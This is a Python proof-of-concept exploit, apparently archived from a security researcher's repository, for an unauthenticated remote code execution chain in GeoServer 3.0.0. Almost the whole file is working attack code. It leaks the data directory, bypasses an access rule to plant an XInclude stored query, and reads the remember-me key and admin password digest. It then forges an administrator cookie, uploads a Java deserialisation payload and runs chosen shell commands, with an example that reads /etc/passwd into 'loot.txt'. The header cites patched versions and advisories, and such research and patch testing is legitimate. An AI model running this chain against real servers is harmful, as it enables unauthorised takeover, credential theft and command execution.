# Archived for authorized security research only.
# Source: https://github.com/Crypto-Cat/geoserver-unauth-rce-poc (no license file)
#!/usr/bin/env python3
"""GeoServer 3.0.0 pre-authentication RCE via WFS stored-query XInclude and HSQLDB deserialisation.

An anonymous WFS request with service="x/WFS" reaches the real WFS service but misses the
wfs.CreateStoredQuery access rule, so an unauthenticated attacker can persist a stored query.
Escaped XInclude elements in the query text are reparsed on DescribeStoredQueries with XInclude
enabled and a null entity resolver, disclosing the live remember-me key from security/config.xml
and the administrator password digest from users.xml. Those two secrets forge a valid
remember-me cookie (no password cracking) that mints an administrator JSESSIONID. The REST API
then writes a crafted HSQLDB database under the data directory and registers it as a JDBC
user-group service; a user-property lookup deserialises an attacker object graph from an OTHER
column, loading an XSLTC translet that runs /bin/sh. Linux target, Java 17 or 21, stock default
configuration -- no optional extensions or config changes required.

Fixed in GeoServer 3.0.2, 2.28.6 and 2.27.7. GeoServer published the chain as five advisories
on 2026-11-23: CVE-2026-129244, CVE-2026-129243, CVE-2026-120705, CVE-2026-129245 and
CVE-2026-129242. Writeup: https://cryptocat.me/blog/research/analysis/geoserver_preauth_rce/
Run only against a disposable target you own or are explicitly authorised to test.
"""

import argparse
import base64
import hashlib
import os
import re
import secrets
import sys
import time
import urllib.parse
import xml.etree.ElementTree as ET
from pathlib import Path
from xml.sax.saxutils import escape

import requests

# Remember-me identities are user@service, so the target is admin@default.
ADMIN = "admin"
USER_SERVICE = "default"
# Any admin page works: requesting it with the forged cookie triggers the remember-me login.
STATUS_PATH = "/web/wicket/bookmarkable/org.geoserver.web.admin.StatusPage"
# 252 hits the filename limit when wfs/query exists; 4092 hits the path limit on a fresh data dir.
ID_LENGTHS = (252, 4092)
# Name of the temporary JDBC user-group service. The payload looks it up by this exact name.
SERVICE = "jdbc_geoserver_poc"

# --- terminal UI ---
_BANNER = r"""
  ____           ____
 / ___| ___  ___/ ___|  ___ _ ____   _____ _ __
| |  _ / _ \/ _ \___ \ / _ \ '__\ \ / / _ \ '__|
| |_| |  __/ (_) |__) |  __/ |   \ V /  __/ |
 \____|\___|\___/____/ \___|_|    \_/ \___|_|
"""
_COLOR = sys.stderr.isatty() and os.environ.get("NO_COLOR") is None


def _paint(code, text):
    return f"\033[{code}m{text}\033[0m" if _COLOR else text


def disable_color():
    global _COLOR
    _COLOR = False


def banner(subtitle):
    sys.stderr.write(_paint("36", _BANNER.strip("\n")) + "\n")
    sys.stderr.write("  " + _paint("2", subtitle) + "\n")
    sys.stderr.write("  " + _paint("2", "discovered by CryptoCat · cryptocat.me") + "\n\n")


def info(msg):
    sys.stderr.write(f" {_paint('36', '[*]')} {msg}\n")


def good(msg):
    sys.stderr.write(f" {_paint('32', '[+]')} {msg}\n")


def warn(msg):
    sys.stderr.write(f" {_paint('33', '[!]')} {msg}\n")


def bad(msg):
    sys.stderr.write(f" {_paint('31', '[-]')} {msg}\n")


def die(msg):
    bad(msg)
    sys.exit(1)


def output(data, label="command output"):
    good(label)
    sys.stderr.write(_paint("2", "  " + "-" * 60) + "\n")
    if isinstance(data, str):
        data = data.encode()
    sys.stdout.buffer.write(data)
    if data and not data.endswith(b"\n"):
        sys.stdout.buffer.write(b"\n")
    sys.stdout.buffer.flush()
# --- end terminal UI ---


# One session for the whole run: no proxy env vars, one timeout, and redirects are returned as-is.
class Http(requests.Session):
    def __init__(self, timeout):
        super().__init__()
        self.trust_env = False
        self.timeout = timeout

    def request(self, method, url, **kwargs):
        kwargs.setdefault("timeout", self.timeout)
        kwargs.setdefault("allow_redirects", False)
        return super().request(method, url, **kwargs)


def arguments():
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="example:\n"
               "  %(prog)s -u https://target.example/geoserver -c id\n"
               "  %(prog)s -u https://target.example/geoserver -c 'cat /etc/passwd' > loot.txt\n")
    parser.add_argument("-u", "--url", required=True, metavar="URL",
                        help="GeoServer application URL, e.g. https://host/geoserver")
    parser.add_argument("-c", "--command", default="id", metavar="CMD",
                        help="command to run (default: id; printable ASCII, <=512 bytes)")
    parser.add_argument("-k", "--insecure", action="store_true", help="disable TLS verification")
    parser.add_argument("--timeout", type=float, default=30, metavar="S",
                        help="HTTP timeout in seconds (default: 30)")
    parser.add_argument("--no-color", action="store_true", help="disable coloured output")
    args = parser.parse_args()
    if args.no_color:
        disable_color()

    if args.timeout <= 0:
        parser.error("--timeout must be positive")
    try:
        args.command_bytes = args.command.encode("ascii")
    except UnicodeEncodeError:
        parser.error("--command must contain printable ASCII characters")
    if not args.command_bytes or any(b < 0x20 or b > 0x7E for b in args.command_bytes):
        parser.error("--command must contain printable ASCII characters")
    if len(args.command_bytes) > 512:
        parser.error("--command is limited to 512 bytes")

    parsed = urllib.parse.urlsplit(args.url.rstrip("/"))
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        parser.error("--url must be an HTTP(S) GeoServer application URL")
    if parsed.username is not None or parsed.password is not None:
        parser.error("--url must not contain credentials")
    if parsed.query or parsed.fragment:
        parser.error("--url must not contain a query string or fragment")
    args.url = args.url.rstrip("/")
    return args


def local_name(name):
    return name.rsplit("}", 1)[-1]


def resource_url(target, path):
    return target + "/rest/resource/" + urllib.parse.quote(path, safe="/")


def service_url(target, name=""):
    base = target + "/rest/security/usergroupservices"
    return base if not name else base + "/" + urllib.parse.quote(name, safe="")


def ogc_success(response, root_name):
    if not 200 <= response.status_code < 300:
        return False
    try:
        root = ET.fromstring(response.content)
    except ET.ParseError:
        return False
    attrs = {local_name(name): value for name, value in root.attrib.items()}
    return local_name(root.tag) == root_name and attrs.get("status", "").upper() == "OK"


def require_success(label, response):
    if not 200 <= response.status_code < 300:
        raise RuntimeError(
            f"{label} failed with HTTP {response.status_code}: {response.text[:500].strip()}"
        )


# Stage 1: an overlong storedQuery_id makes the filesystem lookup fail, and the public WFS exception echoes the full path it tried to open. Strip the known suffix to get the data dir.
def discover_data_directory(http, target):
    endpoint = target + "/wfs"
    for index, length in enumerate(ID_LENGTHS):
        identifier = "A" * length
        if index == 0:
            response = http.get(
                endpoint,
                params={
                    "service": "WFS",
                    "version": "2.0.0",
                    "request": "GetFeature",
                    "storedQuery_id": identifier,
                },
            )
        else:
            # The 4,092-character ID goes in an XML POST body, keeping it out of the URL.
            document = (
                '<?xml version="1.0" encoding="UTF-8"?>'
                '<wfs:GetFeature service="WFS" version="2.0.0" '
                'xmlns:wfs="http://www.opengis.net/wfs/2.0">'
                f'<wfs:StoredQuery id="{identifier}"/>'
                "</wfs:GetFeature>"
            )
            response = http.post(
                endpoint,
                data=document.encode(),
                headers={"Content-Type": "application/xml"},
            )
        try:
            root = ET.fromstring(response.content)
            text = "\n".join(
                "".join(node.itertext())
                for node in root.iter()
                if local_name(node.tag) == "ExceptionText"
            )
        except ET.ParseError:
            text = response.text
        # The leaked path ends in /wfs/query/<id>.xml; everything before that is the data dir.
        suffix = "/wfs/query/" + identifier + ".xml"
        match = re.search(r"(/[^\r\n]+?" + re.escape(suffix) + r")", text)
        if match:
            return match.group(1)[: -len(suffix)]
    raise RuntimeError("the WFS response did not disclose the data-directory path")


# Best-effort anonymous delete through the same x/WFS bypass.
def anonymous_drop(http, target, query_id):
    try:
        response = http.get(
            target + "/wfs",
            params={
                "service": "x/WFS",
                "version": "2.0.0",
                "request": "DropStoredQuery",
                "storedQuery_id": query_id,
            },
        )
        return ogc_success(response, "DropStoredQueryResponse")
    except requests.RequestException:
        return False


# Stage 2: service="x/WFS" reaches the real WFS service but misses the wfs.CreateStoredQuery rule, so an anonymous user can save a stored query. Its text carries escaped xi:include elements. GeoServer unescapes and reparses that text when it saves the query, and DescribeStoredQueries reloads the file with XInclude on and a null entity resolver, so the response inlines config.xml (remember-me key) and users.xml (admin password digest).
def disclose_security_material(http, target, data_directory, query_id):
    def include(path, mode):
        file_url = "file://" + urllib.parse.quote(path, safe="/:")
        return (
            '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" '
            f'xmlns="" href="{file_url}" parse="{mode}"/>'
        )

    base = data_directory.rstrip("/")
    # Escaped, so the request parser reads the includes as text rather than markup.
    query_text = escape(
        include(base + "/security/config.xml", "text")
        + include(base + "/security/usergroup/default/users.xml", "xml")
    )
    document = f'''<?xml version="1.0" encoding="UTF-8"?>
<wfs:CreateStoredQuery service="x/WFS" version="2.0.0"
 xmlns:wfs="http://www.opengis.net/wfs/2.0">
 <wfs:StoredQueryDefinition id="{query_id}">
  <wfs:QueryExpressionText returnFeatureTypes=""
   language="urn:ogc:def:queryLanguage:OGC-WFS::WFSQueryExpression"
   isPrivate="false">
   <wfs:Query typeNames="">{query_text}</wfs:Query>
  </wfs:QueryExpressionText>
 </wfs:StoredQueryDefinition>
</wfs:CreateStoredQuery>'''.encode()

    # isPrivate="false" above matters: GeoTools only reparses public query text when saving it.
    created = http.post(
        target + "/wfs", data=document, headers={"Content-Type": "application/xml"}
    )
    if not ogc_success(created, "CreateStoredQueryResponse"):
        raise RuntimeError(f"stored-query creation failed with HTTP {created.status_code}")
    described = http.get(
        target + "/wfs",
        params={
            "service": "WFS",
            "version": "2.0.0",
            "request": "DescribeStoredQueries",
            "storedQuery_id": query_id,
        },
    )
    if described.status_code != 200:
        raise RuntimeError(f"stored-query disclosure failed with HTTP {described.status_code}")
    try:
        root = ET.fromstring(described.content)
    except ET.ParseError as error:
        raise RuntimeError("the stored-query response was not valid XML") from error

    # Pull the active remember-me key and the enabled admin's stored password digest out of the included files in the response.
    remember_key = None
    verifier = None
    for element in root.iter():
        if local_name(element.tag) == "rememberMeService":
            for child in element:
                if local_name(child.tag) == "key":
                    remember_key = child.text or ""
        elif local_name(element.tag) == "user":
            attrs = {local_name(name): value for name, value in element.attrib.items()}
            if attrs.get("name") == ADMIN and attrs.get("enabled", "true").lower() == "true":
                verifier = attrs.get("password")
    if not remember_key or verifier is None:
        raise RuntimeError("the active key or admin password digest was absent from the response")
    return verifier, remember_key


# Stage 3: forge a Spring Security remember-me cookie. Its signature is a SHA-256 over user:expiry:password-digest:key, so the two leaked values are enough without cracking anything.
def administrator_session(http, target, verifier, remember_key):
    http.cookies.clear()
    username = ADMIN + "@" + USER_SERVICE
    expiry = int(time.time() * 1000) + 3_600_000  # One hour from now, in milliseconds.
    signature = hashlib.sha256(
        f"{username}:{expiry}:{verifier}:{remember_key}".encode()
    ).hexdigest()
    # Spring's cookie format: URL-encoded fields joined by ':', then Base64 without padding.
    fields = (username, str(expiry), "SHA256", signature)
    token = base64.b64encode(
        ":".join(urllib.parse.quote_plus(value, safe="*.-_") for value in fields).encode()
    ).decode().rstrip("=")
    # The remember-me filter logs the cookie in and the response sets an admin JSESSIONID.
    http.get(target + STATUS_PATH, headers={"Cookie": f"remember-me={token}"})
    if not any(c.name == "JSESSIONID" for c in http.cookies):
        raise RuntimeError("the remember-me token did not create a session")
    # Prove the session is admin by reading an admin-only REST endpoint.
    if http.get(service_url(target)).status_code != 200:
        raise RuntimeError("the new session was not accepted by the administrator REST API")


# Delete the stored-query file through the REST resource API once we are admin. Before that, the anonymous DropStoredQuery is the only option.
def remove_stored_query(http, target, query_id, authenticated):
    if not authenticated:
        anonymous_drop(http, target, query_id)
        return False
    location = resource_url(target, f"wfs/query/{query_id}.xml")
    try:
        check = http.head(location)
        if check.status_code == 404:
            return True
        if check.status_code != 200 or not 200 <= http.delete(location).status_code < 300:
            return False
        return http.head(location).status_code == 404
    except requests.RequestException:
        return False


# The pre-built HSQLDB database holding the serialised gadget graph. payload-src/ rebuilds it.
def payload_files():
    directory = Path(__file__).resolve().parent
    properties = directory / "payload.properties"
    script = directory / "payload.script"
    if not properties.is_file() or not script.is_file():
        raise RuntimeError("payload.properties and payload.script must be beside this PoC")
    return properties.read_bytes(), script.read_bytes()


# JDBC user-group service config pointing at the uploaded HSQLDB file. creatingTables=false leaves the payload's own schema alone.
def jdbc_configuration(url):
    return f"""<org.geoserver.security.jdbc.config.JDBCUserGroupServiceConfig>
  <name>{SERVICE}</name>
  <className>org.geoserver.security.jdbc.JDBCUserGroupService</className>
  <passwordEncoderName>plainTextPasswordEncoder</passwordEncoderName>
  <passwordPolicyName>default</passwordPolicyName>
  <propertyFileNameDDL>usersddl.xml</propertyFileNameDDL>
  <propertyFileNameDML>usersdml.xml</propertyFileNameDML>
  <jndi>false</jndi>
  <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
  <connectURL>{escape(url)}</connectURL>
  <userName>SA</userName>
  <password></password>
  <creatingTables>false</creatingTables>
</org.geoserver.security.jdbc.config.JDBCUserGroupServiceConfig>
""".encode()


# The payload reports back through key=value files in the staging directory. These parsers reject anything malformed or written by a different run.
def parse_fields(body, names):
    try:
        lines = body.decode("ascii").splitlines()
    except UnicodeDecodeError as error:
        raise RuntimeError("the payload response was not ASCII") from error
    if any("=" not in line for line in lines):
        raise RuntimeError("the payload response was malformed")
    fields = dict(line.split("=", 1) for line in lines)
    if len(fields) != len(lines) or set(fields) != set(names):
        raise RuntimeError("the payload response had unexpected fields")
    return fields


def parse_result(body, token, command_b64):
    fields = parse_fields(
        body,
        ("token", "command_b64", "exit_code", "timed_out", "output_truncated", "output_b64"),
    )
    if fields["token"] != token or fields["command_b64"] != command_b64:
        raise RuntimeError("the command result belongs to another run")
    if fields["timed_out"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid timed_out value")
    if fields["output_truncated"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid output_truncated value")
    try:
        exit_code = int(fields["exit_code"])
        output = base64.b64decode(fields["output_b64"], validate=True)
    except (ValueError, KeyError) as error:
        raise RuntimeError("the command result was malformed") from error
    return exit_code, fields["timed_out"] == "true", fields["output_truncated"] == "true", output


def parse_cleanup(body, token):
    fields = parse_fields(body, ("token", "pool_closed"))
    if fields["token"] != token:
        raise RuntimeError("the cleanup record belongs to another run")
    if fields["pool_closed"] not in {"true", "false"}:
        raise RuntimeError("the payload returned an invalid pool_closed value")
    return fields["pool_closed"] == "true"


# Poll the REST resource API until the payload publishes a file, or give up after `seconds`.
def wait_for_resource(http, target, path, seconds):
    deadline = time.monotonic() + seconds
    while time.monotonic() < deadline:
        response = http.get(resource_url(target, path))
        if response.status_code == 200:
            return response.content
        if response.status_code != 404:
            raise RuntimeError(f"reading {path} returned HTTP {response.status_code}")
        time.sleep(0.5)
    return None


# Delete the temporary JDBC service, but only if it still points at our database.
def remove_service(http, target, name, expected_url, attempted):
    location = service_url(target, name)
    try:
        check = http.get(location)
        if check.status_code == 404:
            return True
        if not attempted or check.status_code != 200:
            return False
        try:
            root = ET.fromstring(check.content)
        except ET.ParseError:
            return False
        values = {
            local_name(element.tag): element.text or ""
            for element in root.iter()
            if local_name(element.tag) in {"name", "connectURL"}
        }
        if values != {"name": name, "connectURL": expected_url}:
            return False
        if not 200 <= http.delete(location).status_code < 300:
            return False
        return http.get(location).status_code == 404
    except requests.RequestException:
        return False


# HSQLDB files are only safe to delete once the payload closed the pool, the .lck file is gone and the database is marked unmodified.
def shutdown_proved(http, target, database, pool_closed):
    if not pool_closed:
        return False
    try:
        lock = http.head(resource_url(target, database + ".lck"))
        properties = http.get(resource_url(target, database + ".properties"))
        lines = properties.content.decode("ascii").splitlines()
    except (requests.RequestException, UnicodeDecodeError):
        return False
    modified = [line for line in lines if line.startswith("modified=")]
    return lock.status_code == 404 and properties.status_code == 200 and modified == ["modified=no"]


# Delete the staging directory, but only when the caller has proved it is safe to.
def remove_stage(http, target, stage, allowed):
    location = resource_url(target, stage)
    try:
        check = http.head(location)
        if check.status_code == 404:
            return True
        if not allowed or check.status_code != 200:
            return False
        if not 200 <= http.delete(location).status_code < 300:
            return False
        return http.head(location).status_code == 404
    except requests.RequestException:
        return False


def show_result(command, result):
    exit_code, timed_out, truncated, output_bytes = result
    if timed_out:
        warn("the command timed out")
    if truncated:
        warn("command output was truncated at 1 MiB")
    good(f"command executed (exit code {exit_code})")
    output(output_bytes, label=f"output of: {command}")


def run(args):
    banner("pre-auth RCE · WFS XInclude → HSQLDB deserialisation · GeoServer 3.0.0")
    properties, script = payload_files()
    http = Http(args.timeout)
    http.verify = not args.insecure
    http.headers["User-Agent"] = "GeoServer-RCE-PoC"
    if args.insecure:
        requests.packages.urllib3.disable_warnings(
            requests.packages.urllib3.exceptions.InsecureRequestWarning
        )

    # A random token names the staging directory under the data dir. The payload derives the directory from its JDBC URL, and request.txt carries the token and the Base64 command.
    token = secrets.token_hex(16)
    stage = "gs-rce-" + token
    database = stage + "/payload"
    request_path = stage + "/request.txt"
    result_path = stage + "/result.txt"
    cleanup_path = stage + "/cleanup.txt"
    command_b64 = base64.b64encode(args.command_bytes).decode()
    request_body = f"{token}\n{command_b64}\n".encode()
    # Track what this run created so the finally block only removes our own artefacts.
    query_id = None
    query_removed = False
    authenticated = False
    stage_attempted = False
    stage_created = False
    service_attempted = False
    service_created = False
    triggered = False
    result_owned = False
    cleanup_owned = False
    pool_closed = False

    try:
        info("Probing anonymous WFS stored-query errors for the data-directory path")
        data_directory = discover_data_directory(http, args.url)
        good(f"data directory: {data_directory}")

        info("Persisting an anonymous x/WFS stored query with deferred XInclude")
        # Alphanumeric only, so toFilename() keeps the ID intact as the file name.
        query_id = "gssec" + secrets.token_hex(12)
        verifier, remember_key = disclose_security_material(
            http, args.url, data_directory, query_id
        )
        good("DescribeStoredQueries disclosed the remember-me key and admin password digest")
        anonymous_drop(http, args.url, query_id)

        info("Forging a remember-me cookie and exchanging it for a session")
        administrator_session(http, args.url, verifier, remember_key)
        authenticated = True
        good("administrator JSESSIONID accepted by the REST API")
        query_removed = remove_stored_query(http, args.url, query_id, True)
        if not query_removed:
            raise RuntimeError("the temporary stored query could not be removed")

        # Stage 4: as admin, the REST API can write files under the data directory and register a JDBC user-group service backed by them. Refuse to clobber anything already there.
        if http.head(resource_url(args.url, stage)).status_code != 404:
            raise RuntimeError(f"refusing to overwrite the existing {stage} directory")
        if http.get(service_url(args.url, SERVICE)).status_code != 404:
            raise RuntimeError(f"refusing to overwrite the existing {SERVICE} service")

        # shutdown=true closes the database with its last connection, so the files can be removed.
        database_url = (
            "jdbc:hsqldb:file:"
            + data_directory.rstrip("/")
            + "/"
            + database
            + ";shutdown=true"
        )

        info("Uploading the HSQLDB payload database and request via REST")
        stage_attempted = True
        first = http.put(
            resource_url(args.url, database + ".properties"),
            data=properties,
            headers={"Content-Type": "application/octet-stream"},
        )
        require_success("payload.properties upload", first)
        stage_created = True
        for path, body, content_type in (
            (database + ".script", script, "application/octet-stream"),
            (request_path, request_body, "text/plain"),
        ):
            require_success(
                f"{path} upload",
                http.put(
                    resource_url(args.url, path),
                    data=body,
                    headers={"Content-Type": content_type},
                ),
            )

        service_attempted = True
        created = http.post(
            service_url(args.url),
            data=jdbc_configuration(database_url),
            headers={"Content-Type": "application/xml"},
        )
        require_success("JDBC service creation", created)
        service_created = True
        good(f"registered JDBC user-group service {SERVICE!r}")

        # Looking up PWN's groups loads PWN's properties. getObject() on the OTHER column deserialises the graph: PriorityQueue -> BeanComparator -> TemplatesImpl, which defines and instantiates CommandTranslet. Its constructor runs the command.
        info("Triggering deserialisation through a user-property lookup")
        triggered = True
        try:
            response = http.get(
                args.url
                + "/rest/security/usergroup/service/"
                + urllib.parse.quote(SERVICE, safe="")
                + "/user/PWN/groups"
            )
            if response.status_code in {401, 403, 404} or 300 <= response.status_code < 400:
                raise RuntimeError("the request did not reach the deserialisation sink")
        except (requests.ReadTimeout, requests.ConnectionError):
            pass  # The command runs inside this request, so it can outlast the timeout.

        # The translet writes the command output to result.txt rather than the HTTP response.
        body = wait_for_resource(http, args.url, result_path, 45)
        if body is None:
            raise RuntimeError("the target did not publish command output")
        result = parse_result(body, token, command_b64)
        result_owned = True
        show_result(args.command, result)

        info("Cleaning up")
        try:
            body = wait_for_resource(http, args.url, cleanup_path, 40)
            if body is not None:
                pool_closed = parse_cleanup(body, token)
                cleanup_owned = True
            else:
                warn("the payload did not confirm JDBC pool closure")
        except (RuntimeError, requests.RequestException) as error:
            warn(f"cleanup record was not accepted: {error}")
    finally:
        # Undo what this run can prove it created, and say what might be left behind.
        if query_id and not query_removed and not remove_stored_query(
            http, args.url, query_id, authenticated
        ):
            warn(f"stored query may remain: {query_id}")

        service_removed = True
        if stage_attempted:
            service_removed = remove_service(
                http, args.url, SERVICE, database_url, service_attempted
            )
        if not service_removed:
            warn(f"JDBC service may remain: {SERVICE}")

        if stage_attempted:
            clean = not triggered or (
                result_owned
                and cleanup_owned
                and shutdown_proved(http, args.url, database, pool_closed)
            )
            if not remove_stage(
                http, args.url, stage, stage_created and service_removed and clean
            ):
                warn(f"staging directory may remain: {resource_url(args.url, stage)}")
                if triggered and not clean:
                    warn("restart GeoServer before removing that directory manually")
            elif stage_created:
                if service_created and service_removed:
                    good("removed the staging directory and temporary JDBC service")
                else:
                    good("removed the staging directory")

        if authenticated:
            try:
                http.get(args.url + "/j_spring_security_logout")
            except requests.RequestException:
                pass
        http.cookies.clear()


def main():
    try:
        run(arguments())
    except KeyboardInterrupt:
        bad("interrupted")
        sys.exit(130)
    except (RuntimeError, OSError, requests.RequestException) as error:
        die(str(error))


if __name__ == "__main__":
    main()
